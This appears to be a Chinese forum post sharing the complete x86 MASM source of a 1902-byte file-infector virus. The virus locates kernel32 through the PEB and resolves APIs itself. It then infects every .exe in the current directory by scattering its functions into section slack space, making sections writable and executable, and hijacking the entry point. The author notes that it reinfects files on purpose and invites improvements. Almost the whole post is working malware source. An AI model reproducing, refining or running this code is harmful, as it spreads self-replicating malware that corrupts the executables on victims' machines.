好早就想实现这个东西了,论坛里似乎没有这个。
想了想,也没有其它的什么好办法,只好将单独的函数一个一个分别添加到节末尾,然后在函数的末尾加上一个它所需调用函数的绝对地址表。不知道大家有什么其它更好的方法,请指教。
写的时候很匆忙,有可以优化的地方,比方说要把最大的节空隙分配给最长的函数。代码也可以精简一点。病毒是会重复感染的,正好检查感染的效果。
病毒长1902字节。
以下感染的结果:
未感染时:
感染一次:
感染两次:
感染三次:
感染四次:
感染五次:
以下代码:
代码:
.386 .model flat,stdcall option casemap:none include windows.inc include kernel32.inc includelib kernel32.lib .code start: pushad call @f @@: pop ebp sub ebp, offset @b assume fs:nothing mov eax, fs:[30h] mov eax, [eax + 0ch] mov eax, [eax + 1ch] mov eax, [eax] mov eax, [eax + 8h] push eax mov eax, offset pGetAllProcAddr_0 add eax, ebp call dword ptr [eax] mov eax, offset pInfect_0 add eax, ebp call dword ptr [eax] _jmp db 0e9h _offset dd 0 push 0 mov eax, offset pProcAddr_0 add eax, ebp mov eax, [eax] add eax, offset pExitProcess - offset _ProcAddr call dword ptr [eax] _start_end: pGetAllProcAddr_0 dd offset _GetAllProcAddr pInfect_0 dd offset _Infect pProcAddr_0 dd offset _ProcAddr _ProcName: szCreateFile db 'CreateFileA',0 szCreateFileMapping db 'CreateFileMappingA',0 szMapViewOfFile db 'MapViewOfFile',0 szUnmapViewOfFile db 'UnmapViewOfFile',0 szCloseHandle db 'CloseHandle',0 szGetCurrentDirectory db 'GetCurrentDirectoryA',0 szFindFirstFile db 'FindFirstFileA',0 szFindNextFile db 'FindNextFileA',0 szFindClose db 'FindClose',0 szExitProcess db 'ExitProcess',0 _ProcAddr: pCreateFile dd 0 pCreateFileMapping dd 0 pMapViewOfFile dd 0 pUnmapViewOfFile dd 0 pCloseHandle dd 0 pGetCurrentDirectory dd 0 pFindFirstFile dd 0 pFindNextFile dd 0 pFindClose dd 0 pExitProcess dd 0 _strlen proc ;str push ebp push edi push ecx mov edi, [esp + 16] xor ecx, ecx dec ecx xor eax, eax repnz scasb not ecx dec ecx xchg ecx, eax pop ecx pop edi pop ebp retn 4 _strlen endp _strcmp proc ;str1,str2 push ebp call @f @@: pop ebp sub ebp, offset @b push esi push edi push edx push ecx push ebx mov esi, [esp + 28] mov edi, [esp + 32] mov edx, offset pstrlen_0 add edx, ebp push esi call dword ptr [edx] mov ecx, eax push edi call dword ptr [edx] cmp eax, ecx xor eax, eax jne _strcmp_ne _strcmp_cmp: dec ecx jl _strcmp_e mov bl, byte ptr [esi + ecx ] cmp bl, byte ptr [edi + ecx ] jne _strcmp_ne jmp _strcmp_cmp _strcmp_e: inc eax _strcmp_ne: pop ebx pop ecx pop edx pop edi pop esi pop ebp retn 8 _strcmp endp _strcmp_end: pstrlen_0 dd offset _strlen _GetProcAddr proc ;Base,Name push ebp call @f @@: pop ebp sub ebp, offset @b push ebx push ecx push edx push esi push edi mov eax, [esp + 28] mov edi, [esp + 32] mov ebx, eax assume eax:ptr IMAGE_DOS_HEADER mov eax, [eax].e_lfanew add eax, ebx assume eax:nothing assume eax:ptr IMAGE_NT_HEADERS lea eax, [eax].OptionalHeader.DataDirectory[0] assume eax:nothing assume eax:ptr IMAGE_DATA_DIRECTORY mov eax, [eax].VirtualAddress add eax, ebx assume eax:nothing assume eax:ptr IMAGE_EXPORT_DIRECTORY mov ecx, [eax].NumberOfNames mov esi, [eax].AddressOfNames assume eax:nothing push eax add esi, ebx sub esi, 4 cdq @@: add esi, 4 dec ecx jl _GetProcAddr_fail push esi mov esi, [esi] add esi, ebx mov eax, offset pstrcmp_0 add eax, ebp push esi push edi call dword ptr [eax] test eax, eax pop esi jnz @f inc edx jmp @b @@: pop eax assume eax:ptr IMAGE_EXPORT_DIRECTORY mov ecx, [eax].AddressOfNameOrdinals add ecx, ebx shl edx, 1 add ecx, edx movzx ecx, word ptr [ecx] add ecx, [eax].nBase dec ecx mov edx, [eax].AddressOfFunctions assume eax:nothing add edx, ebx shl ecx, 2 add edx, ecx mov eax, [edx] add eax, ebx @@: pop edi pop esi pop edx pop ecx pop ebx pop ebp retn 8 _GetProcAddr_fail: pop edi jmp @b _GetProcAddr endp _GetProcAddr_end: pstrcmp_0 dd offset _strcmp _GetAllProcAddr proc ;base pushad call @f @@: pop ebp sub ebp, offset @b mov edx, [esp + 36] mov esi, offset pProcName_0 add esi, ebp mov esi, [esi] mov edi, offset pProcAddr_1 add edi, ebp mov edi, [edi] mov ecx, 10 @@: mov ebx, offset pGetProcAddr_0 add ebx, ebp push esi push edx call dword ptr [ebx] stosd mov ebx, offset pstrlen_1 add ebx, ebp push esi call dword ptr [ebx] inc eax add esi, eax dec ecx jnz @b popad retn 4 _GetAllProcAddr endp _GetAllProcAddr_end: pGetProcAddr_0 dd offset _GetProcAddr pstrlen_1 dd offset _strlen pProcName_0 dd offset _ProcName pProcAddr_1 dd offset _ProcAddr _Infect proc pushad call @f @@: pop ebp sub ebp, offset @b sub esp, 2 * sizeof(WIN32_FIND_DATA) sub esp, MAX_PATH mov eax, offset pProcAddr_2 add eax, ebp mov eax, [eax] add eax, offset pGetCurrentDirectory - offset _ProcAddr push esp push MAX_PATH call dword ptr [eax] add eax, esp mov byte ptr [eax], '\' mov byte ptr [eax + 1], '*' mov byte ptr [eax + 2], '.' mov byte ptr[eax + 3], 'e' mov byte ptr [eax + 4], 'x' mov byte ptr [eax + 5], 'e' mov byte ptr [eax + 6], 0 mov eax, offset pProcAddr_2 add eax, ebp mov eax, [eax] add eax, offset pFindFirstFile - offset _ProcAddr mov ebx, esp add ebx, MAX_PATH assume ebx:ptr WIN32_FIND_DATA push ebx lea ecx, [esp + 4] push ecx call dword ptr [eax] xchg eax, edx mov ecx, offset pProcAddr_2 add ecx, ebp mov ecx, [ecx] add ecx, offset pFindNextFile - offset _ProcAddr _Infect_search: mov eax, offset pAddCode_0 add eax, ebp lea esi, dword ptr [ebx].cFileName push esi call dword ptr [eax] push ecx push edx push ebx push edx call dword ptr [ecx] pop edx pop ecx test eax, eax jnz _Infect_search assume ebx:nothing add esp, MAX_PATH add esp, 2 * sizeof(WIN32_FIND_DATA) popad retn _Infect endp _Infect_end: pAddCode_0 dd offset _AddCode pProcAddr_2 dd offset _ProcAddr _AddCode proc ;szFileName pushad call @f @@: pop ebp sub ebp, offset @b sub esp, 52 mov esi, [esp + 88] mov eax, offset ProcAddr_3 add eax, ebp mov eax, [eax] add eax, offset pCreateFile - offset _ProcAddr push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push FILE_SHARE_READ push GENERIC_READ + GENERIC_WRITE push esi call dword ptr [eax] cmp eax, INVALID_HANDLE_VALUE jz _AddCode_end0 mov [esp], eax mov ebx, offset ProcAddr_3 add ebx, ebp mov ebx, [ebx] add ebx, offset pCreateFileMapping - offset _ProcAddr push 0 push 0 push 0 push PAGE_READWRITE push 0 push eax call dword ptr [ebx] test eax, eax jz _AddCode_end1 mov [esp + 4], eax mov ebx, offset ProcAddr_3 add ebx, ebp mov ebx, [ebx] add ebx, offset pMapViewOfFile - offset _ProcAddr push 0 push 0 push 0 push FILE_MAP_WRITE push eax call dword ptr [ebx] test eax, eax jz _AddCode_end2 mov ebx, eax assume eax:ptr IMAGE_DOS_HEADER cmp [eax].e_magic, 5A4Dh jnz _AddCode_end3 mov eax, [eax].e_lfanew add eax, ebx assume eax:nothing assume eax:ptr IMAGE_NT_HEADERS cmp [eax].Signature, 4550h jnz _AddCode_end3 mov ecx, [eax].OptionalHeader.ImageBase mov [esp + 8], ecx lea ecx, [eax].OptionalHeader.AddressOfEntryPoint mov [esp + 48], ecx movzx ecx, [eax].FileHeader.NumberOfSections assume eax:nothing add eax, sizeof(IMAGE_NT_HEADERS) assume eax:ptr IMAGE_SECTION_HEADER mov [eax].Characteristics, 0E00000E0h mov edx, [eax].SizeOfRawData sub edx, [eax].Misc.VirtualSize mov edi, [eax].PointerToRawData add edi, [eax].Misc.VirtualSize add edi, ebx _1: sub edx, offset _ProcAddr - offset _ProcName mov esi, 1 jl _jmptable add [eax].Misc.VirtualSize, offset _ProcAddr - offset _ProcName mov esi, edi sub esi, [eax].PointerToRawData add esi, [eax].VirtualAddress add esi, [esp + 8] sub esi, ebx mov [esp + 12], esi ;[esp + 12] = ProcAddr mov esi, offset ProcAddr_3 add esi, ebp mov esi, [esi] push ecx mov ecx, 10 @@: movsd dec ecx jnz @b pop ecx _2: sub edx, offset _strlen - offset _ProcName mov esi, 2 jl _jmptable add [eax].Misc.VirtualSize, offset _strlen - offset _ProcName mov esi, edi sub esi, [eax].PointerToRawData add esi, [eax].VirtualAddress add esi, [esp + 8] sub esi, ebx mov [esp+16], esi ;[esp + 16] = ProcName mov esi, offset ProcName_1 add esi, ebp mov esi, [esi] push ecx mov ecx, offset _strlen - offset _ProcName @@: movsb dec ecx jnz @b pop ecx _3: sub edx, offset _strcmp - offset _strlen mov esi, 3 jl _jmptable add [eax].Misc.VirtualSize, offset _strcmp - offset _strlen mov esi, edi sub esi, [eax].PointerToRawData add esi, [eax].VirtualAddress add esi, [esp + 8] sub esi, ebx mov [esp + 20], esi ;[esp + 20] = _strlen mov esi, offset pstrlen_2 add esi, ebp mov esi, [esi] push ecx mov ecx, offset _strcmp - offset _strlen @@: movsb dec ecx jnz @b pop ecx _4: sub edx, offset _strcmp_end - offset _strcmp + 4 mov esi, 4 jl _jmptable add [eax].Misc.VirtualSize, offset _strcmp_end - offset _strcmp + 4 mov esi, edi sub esi, [eax].PointerToRawData add esi, [eax].VirtualAddress add esi, [esp + 8] sub esi, ebx mov [esp + 24], esi ;[esp + 24] = _strcmp mov esi, offset pstrcmp_1 add esi, ebp mov esi, [esi] push ecx mov ecx, offset _strcmp_end - offset _strcmp @@: movsb dec ecx jnz @b pop ecx lea esi, [esp + 20] movsd _5: sub edx, offset _GetProcAddr_end - offset _GetProcAddr + 4 mov esi, 5 jl _jmptable add [eax].Misc.VirtualSize, offset _GetProcAddr_end - offset _GetProcAddr + 4 mov esi, edi sub esi, [eax].PointerToRawData add esi, [eax].VirtualAddress add esi, [esp + 8] sub esi, ebx mov [esp + 28], esi ;[esp + 28] = _GetProcAddr mov esi, offset pGetProcAddr_1 add esi, ebp mov esi, [esi] push ecx mov ecx, offset _GetProcAddr_end - offset _GetProcAddr @@: movsb dec ecx jnz @b pop ecx lea esi, [esp + 24] movsd _6: sub edx, offset _GetAllProcAddr_end - offset _GetAllProcAddr + 16 mov esi, 6 jl _jmptable add [eax].Misc.VirtualSize, offset _GetAllProcAddr_end - offset _GetAllProcAddr + 16 mov esi, edi sub esi, [eax].PointerToRawData add esi,[eax].VirtualAddress add esi, [esp + 8] sub esi, ebx mov [esp + 32], esi ;[esp + 32] = _GetAllProcAddr mov esi, offset pGetAllProcAddr_1 add esi, ebp mov esi, [esi] push ecx mov ecx, offset _GetAllProcAddr_end - offset _GetAllProcAddr @@: movsb dec ecx jnz @b pop ecx lea esi, [esp + 28] movsd lea esi, [esp + 20] movsd lea esi, [esp + 16] movsd lea esi, [esp + 12] movsd _7: sub edx, offset _AddCode_end - offset _AddCode + 36 mov esi, 7 jl _jmptable add [eax].Misc.VirtualSize, offset _AddCode_end - offset _AddCode + 36 mov esi, edi sub esi, [eax].PointerToRawData add esi, [eax].VirtualAddress add esi, [esp + 8] sub esi, ebx mov [esp + 36], esi ;[esp + 36] = _AddCode mov esi, offset pAddCode_1 add esi, ebp mov esi, [esi] push ecx mov ecx, offset _AddCode_end - offset _AddCode @@: movsb dec ecx jnz @b pop ecx lea esi, [esp +12] movsd lea esi, [esp + 16] movsd lea esi, [esp + 20] movsd lea esi, [esp + 24] movsd lea esi, [esp + 28] movsd lea esi, [esp + 32] movsd push edi movsd lea esi, [esp + 40] movsd push edi movsd _8: sub edx, offset _AddCode - offset _Infect + 8 mov esi, 8 jl _jmptable add [eax].Misc.VirtualSize, offset _AddCode - offset _Infect + 8 mov esi, edi sub esi, [eax].PointerToRawData add esi, [eax].VirtualAddress add esi, [esp + 16] sub esi, ebx mov [esp + 48], esi ;[esp + 40] = _Infect mov esi, offset pInfect_1 add esi, ebp mov esi, [esi] push ecx mov ecx, offset _Infect_end - offset _Infect @@: movsb dec ecx jnz @b pop ecx lea esi, [esp + 44] movsd lea esi, [esp + 20] movsd pop esi push ecx mov ecx, [esp + 48] mov [esi], ecx pop ecx _9: sub edx, offset _start_end - offset start + 16 mov esi, 9 jl _jmptable add [eax].Misc.VirtualSize, offset _start_end - offset start + 16 push ecx mov esi, edi sub esi, [eax].PointerToRawData add esi, [eax].VirtualAddress sub esi, ebx mov ecx, [esp + 56] push [ecx] mov [ecx], esi add esi, [esp + 20] mov [esp + 56], esi ;[esp + 44] = start mov ecx, esi add ecx, offset _offset - offset start + 4 sub ecx, [esp + 20] pop ebp sub ebp, ecx xchg ebp, ecx call @f @@: pop ebp sub ebp, offset @b mov esi, offset pstart_0 add esi, ebp mov esi, [esi] push esi add esi, offset _offset - offset start mov edx, [esi] mov [esi], ecx pop esi mov ecx, offset _start_end - offset start @@: movsb dec ecx jnz @b pop ecx push esi lea esi, [esp + 40] movsd lea esi, [esp + 48] movsd lea esi, [esp + 20] movsd pop esi pop edi push esi lea esi, [esp + 48] movsd pop esi sub esi, offset _start_end - offset _offset mov [esi], edx _AddCode_end3: mov eax, offset ProcAddr_3 add eax, ebp mov eax, dword ptr [eax] add eax, offset pUnmapViewOfFile - offset _ProcAddr push ebx call dword ptr [eax] _AddCode_end2: mov eax, offset ProcAddr_3 add eax, ebp mov eax, dword ptr [eax] add eax, offset pCloseHandle - offset _ProcAddr push [esp + 4] call dword ptr [eax] _AddCode_end1: mov eax, offset ProcAddr_3 add eax, ebp mov eax, dword ptr [eax] add eax, offset pCloseHandle - offset _ProcAddr push [esp] call dword ptr [eax] _AddCode_end0: add esp, 52 popad retn 4 _jmptable: dec ecx jz _AddCode_ret add eax, sizeof(IMAGE_SECTION_HEADER) mov [eax].Characteristics, 0E00000E0h mov edx, [eax].SizeOfRawData sub edx, [eax].Misc.VirtualSize mov edi, [eax].PointerToRawData add edi, [eax].Misc.VirtualSize add edi, ebx dec esi jz _1 dec esi jz _2 dec esi jz _3 dec esi jz _4 dec esi jz _5 dec esi jz _6 dec esi jz _7 dec esi jz _8 dec esi jz _9 _AddCode_ret: sub esi, 8 jz _AddCode_ret8 dec esi jz _AddCode_ret9 jmp _AddCode_end3 _AddCode_ret8: pop eax _AddCode_ret9: pop eax jmp _AddCode_end3 _AddCode endp _AddCode_end: ProcAddr_3 dd offset _ProcAddr ProcName_1 dd offset _ProcName pstrlen_2 dd offset _strlen pstrcmp_1 dd offset _strcmp pGetProcAddr_1 dd offset _GetProcAddr pGetAllProcAddr_1 dd offset _GetAllProcAddr pstart_0 dd offset start pAddCode_1 dd offset _AddCode pInfect_1 dd offset _Infect _end: end start